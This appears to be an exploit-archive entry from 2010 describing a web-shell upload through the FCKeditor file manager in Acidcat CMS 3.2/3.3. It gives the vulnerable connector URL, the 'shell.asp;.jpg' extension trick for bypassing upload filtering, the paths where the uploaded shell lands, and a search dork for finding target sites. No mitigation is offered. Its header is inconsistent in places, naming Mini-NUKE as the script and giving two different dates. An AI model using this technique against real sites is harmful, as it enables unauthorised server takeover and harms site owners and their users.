Acidcat CMS 3.3 - 'FCKeditor' Arbitrary File Upload



EKU-ID: 21788 CVE: OSVDB-ID:
Author: Net.Edit0r Published: 2010-11-22 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


==============================================================================

        [»] Acidcat CMS v 3.3 (fckeditor) Shell Upload Vulnerability

==============================================================================

    [»] Title   :           [ Acidcat CMS v 3.x (fckeditor) Shell Upload Vulnerability ]

    [»] Script  :           [ Mini-NUKE v2.3  ]

    [»] Language:           [ ASP ]

    [»] Download:           [ http://www.acidcat.com/default.asp?itemID=202&itemTitle=Download Free]

    [»] Author  :           [ Net.Edit0r - black.hat.tm@gmail.com }

    [»] My Home :           [ ajaxtm.com and datacoders.org ]

    [»] Date    :           [ 2010-11-23 ]

    [»] Version :           [ 3.3.X and 3.2.x ]

    [»] Dork    :           [ "Powered by Acidcat CMS " ]



###########################################################################


===[ Exploit ]===


  [»] http://server/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp

  [»] asp renamed via the .asp;.jpg (shell.asp;.jpg)

===[ Upload To ]===

  [»] http://server/read_write/file/[Shell]

  [»] http://server/public/File/[Shell]


Greetz : HUrr!c4nE , H-SK33PY , Cair3x , B3hz4d , Skitt3r , M4hd1

     BHG : Net.Edit0r ~ Darkcoder ~ AmIr_Magic  ~ keracker


###########################################################################